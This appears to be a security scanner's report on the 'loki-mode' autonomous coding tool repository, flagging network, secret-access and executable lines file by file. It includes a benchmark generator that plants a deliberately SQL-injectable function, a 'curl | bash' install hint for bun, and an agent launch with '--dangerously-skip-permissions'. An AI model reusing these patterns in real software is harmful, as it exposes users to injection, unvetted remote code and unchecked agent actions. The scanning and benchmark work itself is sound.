- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0088/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0088/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0088/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0089/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0089/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0089/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0090/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0090/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0090/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0091/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0091/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0091/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0092/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0092/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0092/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0093/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0093/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0093/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0094/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0094/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0094/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0095/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0095/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0095/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0096/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0096/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0096/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0097/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0097/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0097/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0098/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0098/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0098/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0099/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0099/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0099/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0100/check.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0100/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/cases/SD-0100/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/generate.py
- Executable scriptline 1
#!/usr/bin/env python3 - Dangerous shell operationline 228
exec(fixed, ns) - Network accessline 261
buggy=f"def find(conn, name):\n return conn.execute(\"SELECT name FROM {table} WHERE name = '%s'\" % name).fetchall()\n", fixed=f"def find(conn, name):\n return conn.execute('SELECT name FROM {table} WHERE name = ?', (name,)). - Network accessline 262
fixed=f"def find(conn, name):\n return conn.execute('SELECT name FROM {table} WHERE name = ?', (name,)).fetchall()\n", visible=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n" - Network accessline 263
visible=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n" - Network accessline 264
f"c.executemany('INSERT INTO {table} VALUES (?)', [('alice',), ('bob',)])\nassert find(c, 'alice') == [('alice',)]\n", check=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n" - Network accessline 265
check=f"import sqlite3\nc = sqlite3.connect(':memory:')\nc.execute('CREATE TABLE {table} (name TEXT)')\n" - Access to secretsline 399
[Credential-related source omitted]
benchmarks/seeded-defects/measure.py
benchmarks/seeded-defects/pr-cases/PR-0001/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0001/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0001/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0001/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0001/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0001/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0002/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0002/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0002/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0002/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0002/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0002/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0003/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0003/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0003/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0003/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0003/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0003/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0004/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0004/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0004/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0004/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0004/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0004/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0005/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0005/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0005/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0005/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0005/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0005/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0006/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0006/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0006/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0006/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0006/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0006/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0007/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0007/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0007/base/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0007/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0007/head/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0007/head/tests/test_clause.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0008/base/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0008/base/test_visible.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0008/head/src.py
- Executable scriptline 1
Executable file
benchmarks/seeded-defects/pr-cases/PR-0008/head/test_visible.py
- Executable scriptline 1
Executable file
bin/loki
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 110
[Credential-related source omitted] - Network accessline 223
if [ -z "${LOKI_TELEMETRY_DISABLED:-}" ] && [ "${DO_NOT_TRACK:-}" != "1" ] && [ ! -f "${HOME}/.loki-first-run" ] 2>/dev/null; then touch "${HOME}/.loki-first-run" 2>/dev/null || true if command -v curl &>/dev/null && [ -f "$REPO_ROO - Network accessline 225
if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then - Network accessline 379
case "${1:-}" in start|run|quick) ;; *" "*|*/*\#[0-9]*|http://*|https://*) ;; - Network accessline 380
start|run|quick) ;; *" "*|*/*\#[0-9]*|http://*|https://*) ;; *) return 0 ;; - Network accessline 381
*" "*|*/*\#[0-9]*|http://*|https://*) ;; - Network accessline 453
case "${1:-}" in start|run|quick|quickstart|demo) if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then - Network accessline 454
start|run|quick|quickstart|demo) if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then if ( SCRIPT_DIR="$REPO_ROOT/autonomy"; source "$SCRIPT_DIR/telemetry.sh" 2>/dev/null \ - Network accessline 455
if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then - Network accessline 510
case "$REPO_ROOT" in */Cellar/loki-mode/*) echo "To fix: brew install oven-sh/bun/bun" >&2 ;; *) echo "To fix: curl -fsSL https://bun.sh/install | bash (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 - Network accessline 511
*/Cellar/loki-mode/*) echo "To fix: brew install oven-sh/bun/bun" >&2 ;; *) echo "To fix: curl -fsSL https://bun.sh/install | bash (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 ;; esac - Dangerous shell operationline 512
*) echo "To fix: curl -fsSL https://bun.sh/install | bash (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 ;; - Network accessline 512
*) echo "To fix: curl -fsSL https://bun.sh/install | bash (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 ;; - Network accessline 640
[2-5]) _lb=$(_loki_bun) [ -n "$_lb" ] || { echo "loki: --attempts $_loki_att_n needs bun (install from https://bun.sh); refusing to run a single attempt silently." >&2; exit 1; } - Network accessline 641
_lb=$(_loki_bun) [ -n "$_lb" ] || { echo "loki: --attempts $_loki_att_n needs bun (install from https://bun.sh); refusing to run a single attempt silently." >&2; exit 1; } _loki_attempts_refuse "${@:2}" - Network accessline 642
[ -n "$_lb" ] || { echo "loki: --attempts $_loki_att_n needs bun (install from https://bun.sh); refusing to run a single attempt silently." >&2; exit 1; } - Network accessline 657
--spec|--spec=*|--spec-first) _lb=$(_loki_bun) [ -n "$_lb" ] || { echo "loki: --spec needs bun (install from https://bun.sh)." >&2; exit 1; } - Network accessline 658
_lb=$(_loki_bun) [ -n "$_lb" ] || { echo "loki: --spec needs bun (install from https://bun.sh)." >&2; exit 1; } exec "$_lb" "${_LOKI_BUN_SAFE[@]}" "$BUN_CLI" "$@" - Network accessline 659
[ -n "$_lb" ] || { echo "loki: --spec needs bun (install from https://bun.sh)." >&2; exit 1; } - Network accessline 754
*/*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) _e10=1 ;; - Network accessline 785
if [ "$_e10" = "1" ]; then _lb=$(_loki_bun) [ -n "$_lb" ] || { echo "Error: the Loki 10 engine needs bun. Install bun from https://bun.sh." >&2; exit 1; } - Network accessline 787
[ -n "$_lb" ] || { echo "Error: the Loki 10 engine needs bun. Install bun from https://bun.sh." >&2; exit 1; } - Network accessline 808
if ! command -v bun &>/dev/null; then if [ "${1:-}" = "start" ] && [ "$_LOKI_START_ATTEMPTS" = "1" ]; then echo "loki: 'loki start' runs the Loki 10 engine, which needs bun. Install bun from https://bun.sh. The legacy loop is no - Network accessline 809
if [ "${1:-}" = "start" ] && [ "$_LOKI_START_ATTEMPTS" = "1" ]; then echo "loki: 'loki start' runs the Loki 10 engine, which needs bun. Install bun from https://bun.sh. The legacy loop is not reachable from start." >&2 exit - Network accessline 810
echo "loki: 'loki start' runs the Loki 10 engine, which needs bun. Install bun from https://bun.sh. The legacy loop is not reachable from start." >&2 - Network accessline 896
done if [ "$_report_first_sub" = "kpis" ]; then if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then - Network accessline 898
if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then - Network accessline 936
if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then
bin/loki-mode.js
- Executable scriptline 1
#!/usr/bin/env node
bin/loki-postinstall.js
- Executable scriptline 1
#!/usr/bin/env node
claude/hooks/loki-session-end.sh
- Executable scriptline 1
#!/usr/bin/env bash
collab/__init__.py
- Executable scriptline 1
Executable file
collab/api.py
- Executable scriptline 1
Executable file
collab/presence.py
- Executable scriptline 1
Executable file
collab/sync.py
- Executable scriptline 1
Executable file
collab/websocket.py
- Executable scriptline 1
Executable file
completions/_loki
- Instruction override signalline 464
'--resume[Resume an interrupted run at the stage it stopped in]::run id:' \ '--fresh[Skip the offer to resume an interrupted or cancelled run]' \ '--yes[Skip confirmation prompts]' \ - Instruction override signalline 465
'--fresh[Skip the offer to resume an interrupted or cancelled run]' \ '--yes[Skip confirmation prompts]' \ '-y[Skip confirmation prompts]' \ - Instruction override signalline 466
'--yes[Skip confirmation prompts]' \ - Instruction override signalline 467
'-y[Skip confirmation prompts]' \
completions/loki.bash
- Executable scriptline 1
#!/bin/bash
config/otel-collector/loki-collector.yaml
- Network accessline 1
# OpenTelemetry Collector config for Loki Mode traces. # Loki exports OTLP/HTTP JSON to LOKI_OTEL_ENDPOINT (path /v1/traces). Point it # at this collector (for example LOKI_OTEL_ENDPOINT=http://localhost:4318), then - Network accessline 2
# Loki exports OTLP/HTTP JSON to LOKI_OTEL_ENDPOINT (path /v1/traces). Point it # at this collector (for example LOKI_OTEL_ENDPOINT=http://localhost:4318), then # run the collector with this file. Every credential is read from an - Network accessline 3
# at this collector (for example LOKI_OTEL_ENDPOINT=http://localhost:4318), then - Network accessline 7
# Enable any subset of exporters by listing it in service.pipelines.traces. # The collector validates every defined exporter, listed or not, so each # required field carries an inert default (https://unset.invalid, "unset"). - Network accessline 8
# The collector validates every defined exporter, listed or not, so each # required field carries an inert default (https://unset.invalid, "unset"). # A vendor left out of the list never uses its default; editing that list is - Network accessline 9
# required field carries an inert default (https://unset.invalid, "unset"). - Network accessline 23
exporters: # Grafana Cloud (Tempo) OTLP gateway. # GRAFANA_OTLP_ENDPOINT example: https://otlp-gateway-prod-us-east-0.grafana.net/otlp - Network accessline 24
# Grafana Cloud (Tempo) OTLP gateway. # GRAFANA_OTLP_ENDPOINT example: https://otlp-gateway-prod-us-east-0.grafana.net/otlp # GRAFANA_OTLP_AUTH is the full header value: "Basic <base64 instanceId:token>". - Network accessline 25
# GRAFANA_OTLP_ENDPOINT example: https://otlp-gateway-prod-us-east-0.grafana.net/otlp - Network accessline 26
# GRAFANA_OTLP_AUTH is the full header value: "Basic <base64 instanceId:token>". otlphttp/grafana: endpoint: ${env:GRAFANA_OTLP_ENDPOINT:-https://unset.invalid} - Network accessline 27
otlphttp/grafana: endpoint: ${env:GRAFANA_OTLP_ENDPOINT:-https://unset.invalid} headers: - Network accessline 28
endpoint: ${env:GRAFANA_OTLP_ENDPOINT:-https://unset.invalid} - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 33
otlphttp/honeycomb: endpoint: https://api.honeycomb.io headers: - Network accessline 34
endpoint: https://api.honeycomb.io - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted]
dashboard/Dockerfile
- Executable scriptline 1
Executable file - Network accessline 20
LABEL org.opencontainers.image.title="Loki Mode Dashboard" LABEL org.opencontainers.image.description="Multi-project task management dashboard for Loki Mode" LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode" - Network accessline 22
LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode" - Network accessline 68
# Health check using Python (curl not available in slim image) - Network accessline 69
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \ CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" || exit 1 - Network accessline 70
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" || exit 1
dashboard/__init__.py
- Executable scriptline 1
Executable file
dashboard/activity_logger.py
dashboard/api_evidence.py
- Executable scriptline 1
#!/usr/bin/env python3
dashboard/api_keys.py
- Executable scriptline 1
Executable file
dashboard/api_operator.py
dashboard/api_phases.py
- Executable scriptline 1
Executable file
dashboard/api_releases.py
- Executable scriptline 1
Executable file
dashboard/api_runs.py
- Executable scriptline 1
Executable file
dashboard/api_runs_v1.py
dashboard/api_start.py
- Executable scriptline 1
Executable file - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Network accessline 144
[Credential-related source omitted] - Network accessline 145
req = urllib.request.Request( - Network accessline 146
"https://api.github.com" + path, - Network accessline 148
"User-Agent": "loki-mode"}) try: with urllib.request.urlopen(req, timeout=15) as r: - Network accessline 149
try: with urllib.request.urlopen(req, timeout=15) as r: return json.load(r) - Network accessline 150
with urllib.request.urlopen(req, timeout=15) as r: - Access to secretsline 178
[Credential-related source omitted] - Access to secretsline 202
[Credential-related source omitted] - Access to secretsline 292
[Credential-related source omitted] - Access to secretsline 324
[Credential-related source omitted] - Access to secretsline 325
[Credential-related source omitted] - Access to secretsline 327
[Credential-related source omitted] - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 409
[Credential-related source omitted]
dashboard/api_tests.py
- Executable scriptline 1
Executable file
dashboard/api_v2.py
- Executable scriptline 1
Executable file - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 535
[Credential-related source omitted] - Access to secretsline 664
[Credential-related source omitted] - Access to secretsline 695
[Credential-related source omitted] - Access to secretsline 708
[Credential-related source omitted] - Access to secretsline 717
[Credential-related source omitted] - Access to secretsline 736
[Credential-related source omitted] - Access to secretsline 742
[Credential-related source omitted] - Access to secretsline 754
[Credential-related source omitted] - Access to secretsline 760
[Credential-related source omitted] - Access to secretsline 774
[Credential-related source omitted]
dashboard/api_workspaces.py
- Executable scriptline 1
Executable file
dashboard/app_secrets.py
- Executable scriptline 1
Executable file - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted]
dashboard/audit.py
- Executable scriptline 1
Executable file - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 43
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 372
[Credential-related source omitted]
dashboard/auth.py
- Executable scriptline 1
Executable file - Access to secretsline 31
[Credential-related source omitted] - Network accessline 36
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 449
url = f"{OIDC_ISSUER.rstrip('/')}/.well-known/openid-configuration" try: with urllib.request.urlopen(url, timeout=10) as resp: - Network accessline 450
try: with urllib.request.urlopen(url, timeout=10) as resp: return json.loads(resp.read()) - Network accessline 451
with urllib.request.urlopen(url, timeout=10) as resp: - Network accessline 474
return {"keys": []} try: with urllib.request.urlopen(jwks_uri, timeout=10) as resp: - Network accessline 475
try: with urllib.request.urlopen(jwks_uri, timeout=10) as resp: keys = json.loads(resp.read()) - Network accessline 476
with urllib.request.urlopen(jwks_uri, timeout=10) as resp: - Access to secretsline 547
[Credential-related source omitted] - Access to secretsline 569
[Credential-related source omitted]
dashboard/build_supervisor.py
- Executable scriptline 1
#!/usr/bin/env python3 - Instruction override signalline 79
"claude": ( "claude", "--dangerously-skip-permissions", - Instruction override signalline 80
"claude", "--dangerously-skip-permissions", "--model", - Instruction override signalline 81
"--dangerously-skip-permissions", - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 600
[Credential-related source omitted] - Access to secretsline 607
[Credential-related source omitted] - Access to secretsline 637
[Credential-related source omitted] - Access to secretsline 660
[Credential-related source omitted] - Access to secretsline 681
[Credential-related source omitted] - Access to secretsline 814
[Credential-related source omitted] - Access to secretsline 816
[Credential-related source omitted] - Access to secretsline 818
[Credential-related source omitted] - Access to secretsline 1069
[Credential-related source omitted] - Access to secretsline 1093
[Credential-related source omitted]
dashboard/control.py
- Executable scriptline 1
Executable file - Network accessline 25
Origin is scheme + host + effective port. Paths, credentials, queries and fragments are never valid in an Origin header. Normalising default ports makes ``https://host`` and ``https://host:443`` equivalent without doing - Network accessline 26
fragments are never valid in an Origin header. Normalising default ports makes ``https://host`` and ``https://host:443`` equivalent without doing loose prefix/suffix matching on attacker-controlled text. - Network accessline 27
makes ``https://host`` and ``https://host:443`` equivalent without doing - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted]
dashboard/database.py
dashboard/docker-compose.yml
- Network accessline 39
# - ~/.loki:/home/appuser/.loki healthcheck: test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"] - Network accessline 40
healthcheck: test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"] interval: 30s - Network accessline 41
test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]
dashboard/failure_extractor.py
dashboard/migration_engine.py
dashboard/models.py
- Executable scriptline 1
Executable file
dashboard/prompt_optimizer.py
dashboard/registry.py
- Executable scriptline 1
Executable file
dashboard/rigour_integration.py
dashboard/runs.py
- Executable scriptline 1
Executable file
dashboard/secure_tmp.py
- Executable scriptline 1
Executable file
dashboard/server.py
- Executable scriptline 1
Executable file - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 264
[Credential-related source omitted] - Access to secretsline 651
[Credential-related source omitted] - Network accessline 1130
_cors_default = "http://localhost:57374,http://127.0.0.1:57374" - Access to secretsline 1131
[Credential-related source omitted] - Access to secretsline 1134
[Credential-related source omitted] - Access to secretsline 1281
[Credential-related source omitted] - Access to secretsline 1300
[Credential-related source omitted] - Access to secretsline 1408
[Credential-related source omitted] - Access to secretsline 1419
[Credential-related source omitted] - Network accessline 1539
"version": _version, "description": "Multi-agent autonomous system by Autonomi. Takes PRD to fully deployed product with minimal human intervention.", "url": "https://www.autonomi.dev/", - Network accessline 1540
"description": "Multi-agent autonomous system by Autonomi. Takes PRD to fully deployed product with minimal human intervention.", "url": "https://www.autonomi.dev/", "capabilities": { - Network accessline 1541
"url": "https://www.autonomi.dev/", - Access to secretsline 3306
[Credential-related source omitted] - Access to secretsline 3343
[Credential-related source omitted] - Access to secretsline 3502
[Credential-related source omitted] - Access to secretsline 3508
[Credential-related source omitted] - Access to secretsline 3509
[Credential-related source omitted] - Access to secretsline 3522
[Credential-related source omitted] - Access to secretsline 3523
[Credential-related source omitted] - Access to secretsline 3533
[Credential-related source omitted] - Access to secretsline 3534
[Credential-related source omitted] - Access to secretsline 3554
[Credential-related source omitted] - Access to secretsline 3594
[Credential-related source omitted] - Access to secretsline 3631
[Credential-related source omitted] - Access to secretsline 3633
[Credential-related source omitted] - Access to secretsline 3636
[Credential-related source omitted] - Access to secretsline 3637
[Credential-related source omitted] - Access to secretsline 3639
[Credential-related source omitted] - Access to secretsline 3706
[Credential-related source omitted] - Access to secretsline 4058
[Credential-related source omitted] - Access to secretsline 4284
[Credential-related source omitted] - Access to secretsline 4589
[Credential-related source omitted] - Access to secretsline 5735
[Credential-related source omitted] - Access to secretsline 5774
[Credential-related source omitted] - Access to secretsline 7849
[Credential-related source omitted] - Access to secretsline 8125
[Credential-related source omitted] - Access to secretsline 8280
[Credential-related source omitted] - Access to secretsline 9742
[Credential-related source omitted] - Access to secretsline 9743
[Credential-related source omitted] - Access to secretsline 9744
[Credential-related source omitted] - Access to secretsline 9745
[Credential-related source omitted] - Access to secretsline 9746
[Credential-related source omitted] - Network accessline 9786
for prefix in ["https://github.com/", "git@github.com:"]: - Access to secretsline 10075
[Credential-related source omitted] - Network accessline 10804
try: family = socket.AF_INET6 if ":" in host else socket.AF_INET sock = socket.socket(family, socket.SOCK_STREAM) - Network accessline 10805
family = socket.AF_INET6 if ":" in host else socket.AF_INET sock = socket.socket(family, socket.SOCK_STREAM) sock.settimeout(_APP_RUNNER_PORT_PROBE_TIMEOUT) - Network accessline 10806
sock = socket.socket(family, socket.SOCK_STREAM) - Access to secretsline 10832
[Credential-related source omitted]
dashboard/telemetry.py
- Executable scriptline 1
Executable file - Network accessline 27
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Network accessline 28
"LOKI_TELEMETRY_ENDPOINT", "https://us.i.posthog.com" - Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted] - Access to secretsline 244
[Credential-related source omitted]
dashboard/tenants.py
- Executable scriptline 1
Executable file
deploy/docker-compose/.env.example
- Access to secretsline 2
[Credential-related source omitted] - Access to secretsline 4
[Credential-related source omitted] - Network accessline 13
[Credential-related source omitted] - Network accessline 14
[Credential-related source omitted] - Network accessline 15
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 44
# OIDC provider issuer URL (e.g. https://accounts.google.com) - Network accessline 54
# OTLP endpoint for sending traces from the autonomi service. # When using the bundled OTEL collector, set to http://otel-collector:4318 - Network accessline 55
# When using the bundled OTEL collector, set to http://otel-collector:4318 - Network accessline 82
# Jira instance URL (e.g. https://mycompany.atlassian.net)
deploy/docker-compose/README.md
- Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted] - Network accessline 21
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 28
[Credential-related source omitted] - Access to secretsline 28
[Credential-related source omitted] - Network accessline 29
[Credential-related source omitted] - Access to secretsline 29
[Credential-related source omitted] - Network accessline 34
| Service | URL | Purpose | |----------------|---------------------------|--------------------------| | Dashboard | http://localhost:57374 | Control Plane UI and API | - Network accessline 35
|----------------|---------------------------|--------------------------| | Dashboard | http://localhost:57374 | Control Plane UI and API | | Jaeger UI | http://localhost:16686 | Trace visualization | - Network accessline 36
| Dashboard | http://localhost:57374 | Control Plane UI and API | - Network accessline 37
| Jaeger UI | http://localhost:16686 | Trace visualization | - Network accessline 48
LOKI_ENTERPRISE_AUTH=true LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 49
LOKI_OIDC_ISSUER=https://accounts.google.com - Network accessline 63
LOKI_TEAMS_WEBHOOK_URL=https://outlook.office.com/webhook/... - Network accessline 70
LOKI_JIRA_URL=https://mycompany.atlassian.net - Network accessline 118
The health check hits `http://localhost:47821/health` inside the container. If the container shows - Access to secretsline 132
[Credential-related source omitted]
deploy/docker-compose/docker-compose.yml
- Network accessline 1
# Autonomi Enterprise - Single Node Evaluation # Usage: docker compose up -d # Control Plane UI/API: http://localhost:57374 (host port, LOKI_DASHBOARD_PORT) - Network accessline 2
# Usage: docker compose up -d # Control Plane UI/API: http://localhost:57374 (host port, LOKI_DASHBOARD_PORT) # - Network accessline 3
# Control Plane UI/API: http://localhost:57374 (host port, LOKI_DASHBOARD_PORT) - Network accessline 5
